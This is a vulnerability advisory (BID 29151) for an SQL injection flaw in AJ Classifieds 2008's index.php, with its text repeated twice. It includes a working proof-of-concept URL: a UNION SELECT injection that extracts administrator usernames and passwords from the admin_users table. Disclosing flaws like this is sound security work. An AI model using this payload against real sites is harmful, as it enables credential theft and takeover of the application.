AJ Classifieds 'index.php' SQL Injection Vulnerability
BID:29151
Info
AJ Classifieds 'index.php' SQL Injection Vulnerability
| Bugtraq ID: | 29151 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 12 2008 12:00AM |
| Updated: | May 12 2008 11:05PM |
| Credit: | t0pP8uZz |
| Vulnerable: |
AJ Square AJ Classifieds 2008 |
| Not Vulnerable: | |
Discussion
AJ Classifieds 'index.php' SQL Injection Vulnerability
AJ Classifieds is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The issue affects AJ Classifieds 2008; other versions may also be vulnerable.
AJ Classifieds is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The issue affects AJ Classifieds 2008; other versions may also be vulnerable.
Exploit / POC
AJ Classifieds 'index.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following proof of concept is available:
http://www.example.com/index.php?do=details_posting&cat_id=5&posting_id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,CONCAT(0x3C666F6E7420636F6C6F723D22726564223E,user_name,char(58),password,0x3C2F666F6E743E),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44/**/FROM/**/admin_users/**/LIMIT/**/0,1/*
Attackers can use a browser to exploit this issue.
The following proof of concept is available:
http://www.example.com/index.php?do=details_posting&cat_id=5&posting_id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,CONCAT(0x3C666F6E7420636F6C6F723D22726564223E,user_name,char(58),password,0x3C2F666F6E743E),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44/**/FROM/**/admin_users/**/LIMIT/**/0,1/*
Solution / Fix
AJ Classifieds 'index.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
AJ Classifieds 'index.php' SQL Injection Vulnerability
References:
References:
- AJ Classifieds Homepage (AJ Square)